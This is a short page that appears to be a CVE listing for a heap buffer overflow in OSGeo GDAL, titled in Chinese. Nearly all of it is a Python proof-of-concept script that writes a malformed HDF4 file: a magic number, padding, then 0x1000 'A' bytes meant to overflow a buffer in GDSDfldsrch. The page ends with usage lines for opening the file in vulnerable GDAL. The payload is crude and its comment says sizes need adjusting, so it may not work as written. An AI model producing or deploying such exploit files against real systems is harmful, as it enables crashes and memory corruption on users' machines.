CVE-2026-8213 OSGeo gdal堆缓冲区溢出漏洞

# PoC for CVE-2026-8213 # This script generates a malformed HDF4 file to trigger the vulnerability. import struct def create_exploit_file(filename): with open(filename, 'wb') as f: # HDF4 Magic Number f.write(b'\x0E\x03\x13\x88') # Padding to reach the vulnerable structure f.write(b'\x00' * 0x50) # Malicious data designed to trigger heap overflow in GDSDfldsrch # Adjust size based on specific vulnerability analysis payload = b'A' * 0x1000 f.write(payload) print(f"[+] Exploit file generated: {filename}") print("[+] Usage: Open this file with a vulnerable version of GDAL.") if __name__ == "__main__": create_exploit_file('cve_2026_8213.hdf')